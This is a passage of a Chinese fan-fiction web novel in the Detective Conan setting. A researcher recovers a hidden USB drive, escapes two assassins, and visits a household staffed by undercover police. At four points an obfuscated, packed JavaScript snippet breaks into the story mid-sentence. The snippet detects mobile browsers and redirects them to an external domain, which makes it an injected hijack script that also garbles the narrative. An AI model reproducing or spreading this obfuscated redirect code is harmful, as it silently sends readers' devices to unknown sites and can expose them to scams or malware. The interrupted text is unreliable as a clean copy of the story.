长岛京悟没有急着进去，而是先在门口环视了一圈。所有仪器都摆放得井然有序，桌面干净整洁，看不出任何被人近期动过的痕迹。他余光瞥向监控摄像头的位置——B307的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15022822|158780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 监控设备安装在墙角，实验区的摄像头主要是为了监测仪器状态，防止危险物质泄露，覆盖范围并不完整。 如果老登真的把东西藏在这里，那么最有可能的地方…… 长岛京悟的视线落到了房间的角落——液氦罐就在那里。 实验室的液氦罐不同于普通的储存容器，它足有一人高，庞大的不锈钢外壳泛着冷冽的光，盖子紧密封闭，外侧贴着“低温储存设备”的警示标签。 不过，这个罐子是空的。 这一点长岛京悟再清楚不过了——液氦不可能长期储存在室内，它挥发得极快，也很贵，所以只有在实验当天才会被补充，用完就空置。所以，此刻摆在他面前的液氦罐，理应是空的。 ……它为什么会是老登藏东西的地方？ 长岛京悟一步一步走近，目光紧紧锁定着那个巨大的金属罐子。 他伸手拍了拍外壁。手指触碰到冰冷的金属表面，发出沉闷的“咚”一声。他的指尖顺着罐身轻轻滑动，仔细寻找着可能存在的机关。 ——然后，他在最顶上摸到了一个极其微妙的缝隙。 他的动作顿了一下。 这个罐子，是可以打开的？ 不对，标准的液氦罐盖子都是密封的，只能通过专门的管道加注或排放液氦。但这个罐子的顶部，有一个额外的、很隐蔽的开口。 长岛京悟的心跳蓦地加快，他深吸了一口气，手指沿着那条缝隙摸索了一圈，终于在后侧摸到一个不太显眼的卡扣，似乎是这个开口的固定装置。 ……他就说为啥平时做实验的时候好像液氦用得很快，有时候还得多跑一趟去补。老登，不愧是你。他长岛京悟的肌肉都是靠一天一天推着罐子到处跑练出来的。 他不再犹豫，伸手扣住那个卡扣，用力一掰—— 金属轻微震动了一下，这个罐子的顶部就被打开了。 长岛京悟用手在外面粗粗试了一下，确定里面没有液氦或者别的很冷的液体后，直接伸手进去。他碰到了一个金属储物盒。 盒子的尺寸大概只有一个笔记本大小，厚度不过三四厘米。 他屏住呼吸，伸手将金属盒小心翼翼地取了出来。 盒子的表面没有任何标识，材质是光滑的合金，很轻。他试着摇了摇，没听到任何晃动的声音，显然，里面的东西被固定得极为牢固。 他把盒子放到实验台上，盯着它，深吸了一口气，掀开盒盖。 一个U盘静静地躺在盒子中央。 它看上去普普通通，甚至有些廉价，没有任何标签。但长岛京悟清楚，这个U盘里的数据，足以撬动整个生物医学界，甚至决定某些人的生死。 他快速扫了一眼盒子里的其他物品：一沓纸质记录，像是实验数据的复印件，再仔细看一下，像是宫野厚司实验记录本的复印件。 长岛京悟没时间一页页翻阅，他伸手拿起U盘，塞进口袋，然后迅速把金属盒放回液氦罐，再次合上盖子，确保一切恢复原状，不留一丝破绽。 ——而就在他做完这一切的时候，外面的走廊里传来了脚步声。 54.危，师兄危 长岛京悟没有时间去思考来者是谁，神经紧绷到极限，几乎是本能驱使他迅速在实验室内扫视，寻找一个能藏身的地方。实验室空间有限，桌子下、仪器后面都无法提供足够的掩护，稍加留意就能一眼识破。他的目光迅速扫过整个房间，最终锁定唯一的选择是洗手池下的储藏柜：狭窄、逼仄，但勉强能容纳一个瘦削的成年人蜷缩进去。 他没有犹豫，屏住呼吸，以最快的速度钻了进去。储藏柜里堆满了清洁剂和杂乱的瓶瓶罐罐，硬邦邦的塑料硌得他后背生疼，但他已经无暇顾及这些。他轻轻拉上柜门，仅留下一道极细的缝隙，透过缝隙，他能看到外面的地面，而他的心脏也在黑暗中急促地震动着。 脚步声越来越近，沉稳，节奏规律，带着某种克制的压迫感。 门禁刷卡的轻响传来，接着是门被推开的声音。 长岛京悟屏住呼吸，透过缝隙，看见两道影子投射在地板上。 第一个进来的人穿着一双昂贵的黑色皮鞋，鞋型宽大，皮革质感很好，踩在地板上时几乎没有发出任何声响。长岛京悟看不到他的脸，但仅凭鞋子的款式和尺寸，他就能判断出这是一个身形高大的男人。 紧随其后，第二个人走了进来。 她的鞋子与前者截然不同——纤细的高跟短靴，鞋跟不高，但踩在瓷砖地板上，依旧会敲出清脆的“嗒嗒”声。 女人在门口站了片刻，随即，一个熟悉的声音响起：“我真的不觉得这里会有什么值得专门来看一下的东西，拜托你清醒一点，用脑子想想，我们拿的钱配得上这一路的颠沛流离吗？” ——是马蒂尼。 那么，那个穿黑色皮鞋的高个男人，毫无疑问就是她提到过的、这次行动的搭档，龙舌兰。 长岛京悟的呼吸急促起来：他们不应该周三才行动，刺杀老登吗？今天才周一，他们怎么会大摇大摆地出现在实验室？ 龙舌兰的声音低沉：“我们接到的任务是刺杀G教授并销毁所有他试图发表的论文资料，自然要来他的实验室看看。万一他在这里藏了什么对组织不利的东西呢？” 马蒂尼不耐烦道：“那跟我们有什么关系？我们接到的任务用人话说就是杀了他，砸了他的电脑，什么时候变成了大扫除？你要是喜欢加班的话请便，我反正还有别的事情要做。” 龙舌兰冷酷地说：“马蒂尼，你这么说话，让我怀疑你是否对组织忠诚。”? 马蒂尼仿佛听到了天大的笑话：“……不是，这年头打个工而已，谁又比谁高贵？牛马还得给自己洗脑成这样？” 龙舌兰冷哼了一声，显然对她的态度不满，但没有再多说什么。他自己开始翻找实验台上的文件，拉开抽屉，甚至弯腰检查桌子下面的木箱，动作干脆利落，每一次开关柜门的声音都敲在长岛京悟的神经上。 而马蒂尼站在一旁，双手抱胸，连一个手指头都懒得动，摆烂得彻彻底底。 龙舌兰的不满逐渐累积，最终变成了愠怒。他终于忍无可忍地瞪向她，声音低沉带着杀气：“愣在那里干什么？还不快来帮忙？” 马蒂尼挑了挑眉，嘴角勾起一丝讽刺的笑：“行行行，你说的都对，这里一定会有对组织不利的东西，G教授看着蠢不拉几的，实际上老奸巨猾。” 她拖着步子走向实验台，随手拉开几个抽屉，随意地翻了翻，嘴上继续阴阳怪气：“哇，你看这个螺丝钉，看起来就像是G教授用来隐藏机密文件的，说不定里面藏着一整个U盘呢。你可真聪明。” 她一边敷衍地乱翻，一边目光随意扫过房间，最终落在洗手池的方向。 她眼神一动，准备贴脸开大：“哦，还有洗手池下面，这个柜子里想必也有很多危险的消毒水吧——” 她拉开了储藏柜的门。 然后，和柜子里的长岛京悟面面相觑。 。 空气凝固了。 长岛京悟甚至能清晰地看到马蒂尼的瞳孔骤然收缩，表情从震惊到困惑，再到“我是不是在做梦”的迷茫，最后定格在一种自暴自弃的木然。 她嘴角微微抽搐，脸上的肌肉仿佛在挣扎着是否要做出什么反应，手指在空气中短暂地颤抖了一下，就像CPU瞬间过载，系统宕机。 几秒钟的沉默后，马蒂尼深吸了一口气，缓缓抬起手，冲他比了个中指。 然后，砰的一声，她毫不犹豫地一把关上柜门，动作行云流水。 她清了清嗓子，语气自然得仿佛真的只是检查了一下柜子：“这个柜子里也什么都没有。”她转过身拍了拍衣角，然后若无其事地对龙舌兰说，“算了，你一个人工作也太惨了，我还是来帮帮你吧。” 龙舌兰警觉地问：“你刚才慢了半拍，出了什么事情？” 马蒂尼风轻云淡地甩了甩手腕：“哦，没什么，就是这破柜子的门有点卡了。” 龙舌兰冷笑：“改改你的习惯，一个柜子而已，大惊小怪。” 马蒂尼瞥了他一眼，翻了个白眼，没再搭话。她似乎是突然想到了什么，语气一转，像是随口一提：“如果他要藏什么东西的话，没必要藏在这里吧？” 龙舌兰问：“什么意思？” “意思是，”她耸耸肩，“G教授要是有能让组织头疼的东西，怎么可能蠢到藏在自己天天工作的实验室里？你不觉得他应该放在更安全的地方吗？比如银行的保险箱？” 龙舌兰没立刻接话，他的手指在桌面上轻轻敲了一下，像是在思考她的推测是否有道理。 马蒂尼继续火上浇油：“你看，我们现在在这儿翻半天也找不到，不就说明我们搞错重点了吗？再怎么说，他也不会真的蠢到把重要的东西随便塞进一个抽屉或者柜子里吧？”说到“柜子”这个词的时候，她的语气稍微加重了一点，像是在无声地讽刺他刚才的怀疑。 龙舌兰眼神微微一冷，但没有反驳。 实验室再次陷入短暂的沉默，只有翻找文件的窸窣声和偶尔仪器外壳被碰撞的轻响。 过了一小会儿，龙舌兰低声道：“如果他真的没把东西藏在实验室里，那我们就在这里浪费时间了。” 马蒂尼：“你这句话和人被杀就会死有什么区别……我的意思是，你说的有道理。你要是没事的话，可以去他银行看看。” 龙舌兰似乎觉得她说得有些道理，点了点头。 两个人把翻乱的东西回归原位。 在走出门的时候，马蒂尼的目光浅浅地落在了长岛京悟藏身的柜子上，没有多余的停留，只是很自然地扫了一眼。 但长岛京悟知道，她在看他。他们的目光隔着一条细小的缝隙交汇，只是短短的一瞬。她没有做出任何多余的动作，没有一丝不自然，甚至连眼神的停留都短得让人察觉不到异常。 但下一秒，她轻轻地眨了一下眼，几乎察觉不到地微微点了下头，然后若无其事地收回目光，迈步走出B307。 长岛京悟没有立刻动。他猜测马蒂尼的那一眼不只是简单的掩护，应当还是在确认龙舌兰有没有起疑。他静静地等了一分钟，两分钟——直到外面完全没有任何脚步声，才悄无声息地钻出来。 他飞快地走向门口，伸手握住门把手，缓慢地推开一条缝，确认走廊里空无一人后走了出去。脚步尽量放轻，他顺着走廊迅速前进，避开摄像头，走楼梯回到了自己的实验室。 。 实验室里，刘伟在埋头干活，而赤井秀一坐在一旁，若有所思地翻阅着一个略显陈旧的本子。 长岛京悟出于好奇，走过去瞥了一眼，发现他在看实验室的器材使用记录本。 这是个老传统了。由于老登抠门至极，实验室里许多仪器的年纪比他们这些研究员还要大。长期服役的后果就是，这些仪器三天两头需要维修，时不时闹点小脾气。为了避免每次坏掉都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15027054|158780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要从零排查，他们养成了一个习惯：每次使用仪器时，都会在记录本上登记使用日期、时间、实验条件，以及是否出现了报错信息。 赤井秀一身后，那本应属于超离心机的位置如今空空如也。想必是那个倒霉的大怨种买家已经迫不及待地把这台果戈里卖掉的老破机器搬走了。不过，这个记录本却被他们留了下来，大概率是因为他们仍对这台机器抱有某种荒谬的期待。 ……突然有点想知道这个小登卖了多少钱。要是真的被他当成微瑕卖出去，长岛京悟感觉自己午夜梦回又要受到良心的谴责了。 赤井秀一看见他靠近，伸手指了一条记录信息。 这个记录本很厚，双面使用的话，居然还能翻到六年前的记录。 六年前的九月，这台机器的使用频率并不高，但的的确确，在九月十七日，有一个人登记了使用记录，名字缩写是AM，应当就是宫野厚司。 【20XX年9月17日 使用时间： 23:50 - 0:30 实验条件：标准离心，转速 30000 rpm 报错信息：无】 没有任何异常，看起来就是一次普通的超速离心实验。 但真正的问题，在于它的时间点——实验记录被删除的三分钟后，宫野厚司进行了这次离心操作。 而这个离心条件，上辈子猝死前最后一天还在提蛋白的长岛京悟一眼就能看出来，这是蛋白质提取的操作之一。 。 ——为什么宫野厚司在细胞实验完成后，才进行蛋白提取？ 这不符合常规实验逻辑。 通常来说，实验的流程遵循“top-down”模式——即从一个明确的假设出发，再通过实验验证它的合理性。 科学研究的正常流程应该是这样的：研究者基于某个假设（例如“某种蛋白可能影响某种细胞反应”），提取目标蛋白，将其与实验对象进行结合测试，观察并分析实验结果，以验证假设是否成立。 因此，在常规实验里，蛋白质提取通常是实验的最初步骤之一，而不是在所有实验都完成、数据被清理后，才单独进行。 但现在，这条记录的时间点，恰恰是实验数据被删除之后——这说明，宫野厚司并不是按照预定计划在进行实验，而是在追踪某个意料之外的现象。 这就意味着，这个实验很可能是基于某种“意外”发生的。 在科研领域，这类实验被称作“bottom-up”模式。与常规的“top-down”研究思路完全相反，它不是基于假设去寻找证据，而是意外观察到某种特殊现象后，试图溯源，分析究竟是哪种成分造成了这种效应。 换句话说，这次蛋白质提取，并不是预设中的一环，而是宫野厚司在实验中发现了某种异常，不得不紧急进行的操作。 是这样的话，组织现在的研究困境就更解释得通了：因为“bottom-up”实验的最大特点，就是高度依赖于实验当时的具体条件。不同于“top-down”模式的可控变量实验，这种自下而上的探索往往受制于实验环境中的微小变量，甚至是当时的操作细节。 如果宫野厚司在实验中确实意外触发了某种特殊现象，而这种现象又必须依赖一系列精确的前置条件才能发生，那么这个实验的复现率自然会极低，甚至几乎无法重现。 ——他可能无意间打开了一扇未知的大门，但自己都没有完全掌握那扇门的钥匙。 然而，从马蒂尼口中可以猜得出，组织的行事风格极端功利，强调成果论和效率至上。如果一个人不能在短时间内提供可利用的成果，他的价值就会被质疑，甚至被抹杀。一个无法被复现的实验，毫无疑问会是最危险的存在。 在这种情况下，宫野厚司带着这么一颗封尘的明珠来到这个组织，可能不是幸运，而是灾难的开端。 55.一个螺丝钉坏了，换掉就好 宫野厚司毕业已经六年了，他也已经在组织工作了六年。 ——如果组织看到课题进展如此缓慢，他们会怎么想？ 宫野厚司加入的并不是一所大学实验室，也不是自由探索的非盈利研究机构。那种犯罪组织的科研哲学，一定是极端功利的——效率至上，可利用的成果至上，一切都要为利益服务。 在这样的环境下，科学不再是对未知的探索，而是赤裸裸的工具。它不需要理论的完美性，不需要基础研究的沉淀，甚至不需要科学家对自己的研究有完整的理解。 唯一重要的，是它是否能带来实际收益。 在犯罪组织的实验室里，科研的终点不是发表论文，也不是推动学术界的进步，而是直接兑现成权力、金钱，甚至是掌控生死的手段。 六年的时间，足够研发出一款能撼动世界格局的生物武器；足够让一个普通的科研项目走向市场；足够让某个理论，变成能带来暴利的专利，成为足以左右一个体系的垄断产品。 可是，哪怕是最严苛的科学史学家都不得不承认：人类的科学推进是“量子”的，即，科学的进展并不是线性增长，而是跳跃式的。 它不是一条稳定攀升的阶梯，而是弯弯绕绕的山路——有时候几年没有突破，有时候一天之内，整个领域都会被颠覆。 但是在这一天之后，又是无穷无尽的探索，直到用数以万计科研人员的生命和时间积累的量变达成质变的那一天。 ?六年熬鹰般的等待，即便是对一个纯基础研究的实验室来说，也已经略显漫长。 即使宫野厚司的研究方向真的如此重要，组织的耐心，或许已经在耗尽的边缘了。 ……在这个情况下，组织会怎么做？ 第一种可能：他们会施压。也许他们已经给了宫野厚司足够的时间，但他始终无法交出一个可以量产的成果，所以组织开始施加压力，让他加快进度。但问题是，压力不会让课题变得更容易，只会让研究人员变得更痛苦。 科学研究需要思考、推演、实验、失败、调整，再次实验……它不是靠意志力就能突破的领域。组织可以用压力逼迫一个科学家在短时间内写出报告、优化实验流程，但他们无法让一个人在六年的煎熬中凭空生出一个本不存在的突破。 更重要的是，真正的科学突破往往需要时间——也许是十年，也许是一辈子，也许永远无法实现。 而在一个以效率为第一优先级的犯罪组织里，六年的失败，有可能已经足够让宫野厚司的价值被彻底否定。 那么，尽管长岛京悟非常希望这不是真的，但无可避免的，最可能的情况便是—— 当科学家成为瓶颈，那就换掉科学家。 。 就像马蒂尼曾说的，在组织眼里，人从来都只是工具。只要他们认为一个人没有用处，就会像处理垃圾一样处理掉。在他们的逻辑里，一个无法提供稳定成果的研究人员，和一台损坏的实验设备没有本质区别。修理这台设备甚至会浪费他们的时间，最简单的方法就是换一个新的。 如果宫野厚司失去了价值，那么下一个有可能做出成果的人，会是谁呢？ 所有的碎片，在这一刻终于拼凑完整。 长岛京悟想起自己的推测：宫野厚司的实验突破，或许很低的复现率，自上而下的实验流程，功利主义至上的组织……所有的一切，最后链接回他接到白鸠制药offer后，在公交车上反复思考的那个问题—— 这个世界上有那么多优秀的科研人员，他们为什么独独选中了长岛京悟？ 答案其实已经很明显了。 他们选中他，不是因为他是最优秀的，而是因为他是最相似的。 他和宫野厚司，接受过同样的科研训练：他们在同一个实验室度过了最关键的科研成长阶段。他们的思维模式、实验习惯、数据分析方法，甚至对同一台实验设备的操作方式，都有着惊人的重合。 而更重要的是，相比起已经离开实验室六年的宫野厚司，长岛京悟现在还在实验室里，所以他更熟悉G教授实验室的环境，熟悉设备的运作，熟悉有可能影响六年前那个实验的细节。 如果组织想复现实验，想找到关键的“未知变量”，在这一刻，长岛京悟比宫野厚司更适合成为这个课题的负责人，或者准确的来说……他会是宫野厚司的最优替代者。 。 长岛京悟的脑海猛地闪过自己在面试时的画面。 他的面试官是宫野夫妇，和琴酒。 ——琴酒，一个组织高层，一个完全不懂科研的杀手，为什么会亲自出现在一个药企的面试里？ 长岛京悟一直以为是因为白鸠制药和组织之间有千丝万缕的联系，所以琴酒以监管人的身份参与面试，就如同马蒂尼曾经跟他提到的，她将在长岛京悟回日本后会负责监管他的工作一样。但是仔细想来，这无法解释为什么他面试结束后，试图给宫野夫妇发送邮件，收到的仅仅是琴酒的回复。 ……如果组织真的已经决定更换研究人员，那么他们会怎么处理“旧的、已经不需要了的”研究者？ 长岛京悟甚至不敢去想最坏的可能性。即便他和宫野夫妇的交情只停留在一次 Zoom 面试上，但想到几个星期前还对他微笑着的人，如今可能已经生死未卜，仍然让他的胃一阵收缩。 就在这时，他的手机震动了一下，来电人显示是未知。长岛京悟强迫自己镇定下来，走出实验室接电话。 电话里传出马蒂尼的声音：“你有病啊，没事为什么要躲在柜子里？今天要是没有我，你估计活不到现在。” 长岛京悟反问：“我当时正好在那里做实验，倒是你们，为什么要来实验室？” 他可以听到那头传来一阵闷响，似乎是马蒂尼烦躁地踢了一下什么东西。她说：“那又不是我要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他甚至可以想象——当宫野夫妇的车撞上护栏的瞬间，某个组织高层或许就在会议室里轻松地翻开一份文件，填上一个新的名字，连停顿都不带一下。人命在他们眼里似乎并不算什么，长岛京悟也好、宫野厚司夫妇也好，都是这个庞大组织里的一颗螺丝钉，是替换掉也不可惜的存在，也是他们完全不放在眼里的蝼蚁。 组织像一条蛇，例行褪去不必要的鳞片。迭代、更替，两个旧人消失，一个新人被冷冰冰地送去填补空缺。 他的后背一片冷汗，甚至不敢深呼吸，生怕自己一口气没控制好，直接吐出来。 马蒂尼似乎感受到了他的情绪，叹了口气：“所以，长岛，你还需要和你那边的人说，因为时间很紧，我和龙舌兰需要尽快完成任务，所以我们等不到周三了。周二，也就是明天，我们就会动手。这样才能留足够的时间让后勤的人来扫尾。我不清楚你们这边的计划是什么，但你最好尽快和那边的人沟通，否则到时候出了乱子，我可管不着。” 长岛京悟甚至不记得自己说了些什么，或者有没有发出声音。他只记得马蒂尼在最后有些怜悯地说：“长岛，我不知道你是为了什么，但是掺和进来真的不是一个好的选择。我衷心地希望你能长命百岁。” 56.登味是一种传承 老登家。 长岛京悟象征性地按了一下门铃，连等一秒的耐心都没有，直接掏出钥匙把门打开了。 这把钥匙是之前他被老登当保姆使，每天接送他女儿上幼儿园的时候，老登顺手给他的。这个活他干了一整年，直到有一天，他把老登女儿送回家的时候，小姑娘站在门口朝他挥手，脆生生地朝着他的背影喊道：“京悟哥哥，我长大之后要和你结婚！” 走在回实验室路上的长岛京悟踉跄了一步。他回过头，刚想教育孩子这话可不兴说，哪有公主和太监在一起的道理……就发现难得在家的老登站在二楼的书房窗户旁，面色阴沉地盯着他。 感谢老登女儿的奇思妙想，长岛京悟自此从接送她的牛马任务中彻底解脱。但是老登似乎已经忘了他给过长岛京悟一把钥匙，或者还在邪恶地计划让他之后还来干些什么和科研毫无关系的破事，这把钥匙就一直留在了长岛京悟的钱包里。 玄关的灯光亮起，长岛京悟怕被错认为入侵者，于是赶紧大声报了个家门：“是我，长岛京——” 他话还没说完，就听见厨房里传来锅铲敲在锅沿的响声，紧接着，一道沉稳而厚重的脚步声从厨房方向朝他靠近。 一个接近一米九的女人穿着围裙走了出来，手里还拿着一把菜刀。 她的气场强大得像是随时能把人揍进墙里，眉宇间隐隐带着几分凌厉，乍一看像是随时能单手拆掉厨房的人形兵器。 长岛京悟的思维停滞了一秒，然后本能地往后退了半步：“……您是？” 巨人老登妻子低头看了他一眼，突然朝他露出了一个温和的微笑，然后随手摘下了贴在领子上的变声器：“嗨，我是我孙子。” ……这句话槽点很多。但是长岛京悟还是在大量的槽点里找到了微少的关键信息，即，这是日本公安的我孙子警官。 他眨了眨眼，忍不住仔细打量了一下，发现我孙子警官除了身高，一切都和老登妻子非常接近，想必是做了很多功课，而且专业技术够硬。 这时候，厨房里突然传来一阵香味，让他忍不住吸了吸鼻子。长岛京悟犹豫了一下，问：“……您在做饭？” 我孙子警官点头：“是的，在做土豆炖肉。” 好久没吃土豆炖肉了。长岛京悟咽了咽口水，又想起自己来这里的初衷，赶紧问：“尼古莱呢？” 我孙子警官的表情一如既往地沉稳：“果戈里君在指导孩子们功课。” 长岛京悟以为自己听错了。他干巴巴地笑了笑，试图用幽默化解自己的认知冲突：“哈哈。我问的是那个果戈里哦？” 我孙子警官认真地重复道：“是他啊，他在指导孩子们功课。”? ……他在做什么？ 长岛京悟僵硬地开口：“………………他为什么要指导孩子们功课？等下，谁是孩子？你是他妻子，那他孩子是？” 我孙子警官抬头望天花板，面色安详：“啊，就是我的同事们。” 这句话的信息密度过于离谱。长岛京悟甚至无法在脑海里构建出这个画面，或者更准确地说，他的大脑正本能地拒绝解析这个信息，以防自己在不必要的情况下遭受永久性精神损伤。 他又一次体会到人在无语到极致的时候真的会笑。他甚至能感觉到自己嘴角本能地开始上扬，但那并不是发自内心的笑意，而是某种彻底破罐子破摔的无奈：“……辛苦了啊，警官先生们。” 我孙子警官平静地颔首，然后用一种近乎恳切的语气说道：“长岛君，他们就在二楼书房，你要是可以的话，去救救他们吧。” 。 长岛京悟一路快步冲上二楼，心里已经做好了心理建设，但当他推开书房的门，映入眼帘的画面依旧把他干沉默了。 ——书房中央，一张硕大的书桌前，坐着两个同样一米九往上的巨人小孩，正在奋笔疾书。 他们的发型和面部伪装显然经过了精心处理，显然正扮演着老登的儿子和女儿。似乎是因为从老登家书房的窗户向室内看只能看到他们的头，所以脑袋下面的伪装就比较随意：只穿着贴身的背心，肌肉线条流畅而扎实，猛男身材和孩子长相放在一起，视觉冲击力极强。 而站在他们身后监督的，正是果戈里。 更准确地说，是披着老登皮的果戈里。他穿着老登招牌的格子衬衫，挺着中年男人的标配肚，全方位复制了一个标准虎爸的形象。 他一边踱步，一边越过两个孩子的肩膀检查他们的答案，每走一步，鞋底敲击地面的声音都像是在敲响学术地狱的丧钟。 很快，他停下脚步，目光在桌面上扫了一眼，啧了一声。 果戈里推了推眼镜，语气里充满了痛心疾首的失望：“你们真是我带过最差的一届小孩。” 左边的老登女儿僵硬了一秒，像是终于忍不住了，谨慎地举起手，试图进行最后的抗争：“这道题我本科的时候做过，绝对是没错的。” 果戈里痛心疾首地说：“你不能只盯着本科看，人要把目光放长远。”他转过头，对着长岛京悟挥了挥手，“长岛，你说是不是？“ 长岛京悟：“……啊？” 果戈里一副恨铁不成钢的样子：“现在学历贬值这么严重，人均本科，你们难道还想靠本科吃饭？就算当了公务员，你不往上考，怎么晋升？为父要求不高，至少都得读个研吧。” 书桌前的两个孩子虎躯一震，面色苍白，战战兢兢地继续奋笔疾书。 长岛京悟实在看不下去了。他走到果戈里身边，拍拍他的肩膀：“可以了，已经晚上六点了，美国小孩这个点都写完作业了，再演下去对面反而要起疑心。” 果戈里思考了一下，看上去不是很想结束，不过还是悻悻地、不情不愿地挥了挥手：“行吧，那今天就到这儿，回去记得整理错题。” 两个警官顿时条件反射般地立正点头，然后以惊人的速度收起桌子上的资料，冲出书房，仿佛刚刚从战俘营里获得释放。 。 老登家的餐桌上，果戈里牌老登、长岛京悟、以及巨人版老登妻子孩子其乐融融地坐在一起分享土豆炖肉，氛围十分温馨。 日本公安不得不说确实是专业的，信念感拉满，演技和心理素质堪称一流。 长岛京悟目瞪口呆地看着一米九的我孙子文也穿着粉色小兔子围裙，姿态娴熟地给他盛了一大碗炖肉，动作温柔得仿佛天生就是个贤惠主妇。与此同时，坐在对面的两个肌肉发达、肩宽腰窄的青春期兄妹全情投入角色，完全没有半点违和感，一口一个“京悟哥哥”，喊得比真正的老登小孩还要自然。 长岛京悟低头吃了一口炖肉，内心对他们的敬业精神充满了由衷的敬佩。 这年头，当公安看上去也不容易。不仅要会卧底、会飙车、会拆弹，更是要演技、心理素质、生活技能全面发展。今天三位警官能够为了活捉龙舌兰在果戈理手下卧薪尝胆，明天说不定就会有冉冉升起的警界新星为了端掉组织同时打四份工。说到底，这些人都是现今社会需要的全能型人才。有这份毅力他们做什么都会成功的。 他简单和警官们提了马蒂尼给他传递的情报，也就是明天他们就会开始暗杀。不出所料的，扮成老登女儿的狮子王次郎热泪盈眶：“终于要结束了，我这辈子没出过这么令人痛苦的任务。” 长岛京悟同情道：“您真的辛苦了，为了国家，牺牲也太大了。” 三个警官不语，眼里闪烁着对明天的期待，仿佛终于熬过长夜。他们很快吃完了饭，各自回到房间为明天的行动做准备。 。 长岛京悟已经很久没有吃到这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15044595|158780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么好吃的炖肉了，于是硬是撑到自己实在吃不下为止，这才恋恋不舍地放下筷子。他满足地打了个饱嗝，然后把空空如也的碗放进厨房水池，准备告辞，回家好好整理一下自己破碎的精神状态。 然而，就在他转身准备离开的一瞬间，一道兴致勃勃的声音突然从身后传来：“长岛，如果你导师的电脑有密码的话，你觉得会是什么？” 长岛京悟脚步一顿，发现果戈里手里拿着老登的电脑，戴着老登的老花镜，显然是打算去书房复刻老登每天晚上的定番：坐在书桌前对着电脑书写一些男默女泪、狗屁不通的邮件。 可怜的长岛京悟是夜间版老登首当其冲的受害者。他常常在晚上九点收到老登让他第二天去帮忙取快递的消息，晚上十点被老登通知准备第二天做临时的文献汇报，晚上十一点发现老登写了几千字的小作文，控诉他这个星期没有在实验室工作足五十二个小时。 虽然长岛京悟已经对这种事情见怪不怪，但是一想到果戈里居然这么快地就把老登的登味学了个十足十，依然十分感慨：登味是一种感觉，也是一种传承。 长岛京悟稍微想了想，回答道：“他家人的名字或者生日？” 果戈里手指飞快地敲了几次键盘，然后抬头看向他，摇了摇头。 长岛京悟皱眉：“那我不太清楚了。你知道他的密码有几个数字吗？” 果戈里说：“我看看……哦，这里写了一个密码提示：apoptoxin（凋亡毒素）。” 长岛京悟说：“一般来讲，这种脑子不太好使的人都会直接把密码写在密码提示里。你就试试这个单词呢？” 果戈里眯了眯眼，显然对长岛京悟的鬼话半信半疑，但也没多问，随手把这个单词敲进了电脑—— 下一秒，屏幕亮起，系统顺利解锁，电脑成功开机。 他愣了一下，然后由衷地赞叹道：“长岛，你好聪明啊！” 长岛京悟：“……” 这和聪明没关系，长岛京悟心里苦笑，和这种人打交道多了你就懂了。 但比起密码本身，他稍微有些在意这个单词的意义。 这个单词他之前没见到过，但是学生物的人很容易就可以猜出来，这是一个组合词，由“apopotosis”（细胞凋亡）和“toxin”（毒素）两个单词拼接而成。 细胞凋亡是一种极其正常的生理现象，它的本质是一种细胞自杀机制。当细胞受到损伤、老化，或者已经完成了自己的任务时，它们会按照特定的程序主动死亡，从而维持身体的健康与正常运作。 这个机制在绝大多数意义上是对人体有益的，因为如果没有这种程序性死亡的话，细胞各个精神百倍，拒绝退休，快乐分裂，最终的结果，就是变成过分增殖且杀不死的癌细胞。 然而，如果真的存在某种毒素，可以专门针对这一机制，让健康细胞误以为自己该死了并主动凋亡，那它将成为极其可怕的毒药：因为相比于一般毒药通过破坏身体机能来致死（比如让人窒息、引发神经麻痹或导致器官衰竭），这种毒素的杀人方式将更加隐蔽且难以追踪。 换句话说，如果它能直接诱导或加速本应受控的细胞自杀，那死者不会出现任何典型的中毒症状，既没有外伤，也没有明显的器官损伤。甚至在解剖时，尸检报告可能会显示一切正常，就像是因衰老自然死亡一样。 ……老登的这个密码，看上去真的很刑啊。 长岛京悟盯着亮起的屏幕，揉了揉太阳穴。他侧头看向果戈里，后者也在看着他，眼神里满是跃跃欲试的兴奋，像是一个刚打开潘多拉魔盒的恶作剧小孩。 果戈里摩拳擦掌：“来吧，看看今晚给谁写邮件比较好呢？” 长岛京悟默默后退了几步，走出老登家的门，然后拔腿就跑！ 57.危，龙舌兰危 周二的凌晨三点，龙舌兰跟着闹钟从梦中醒来。 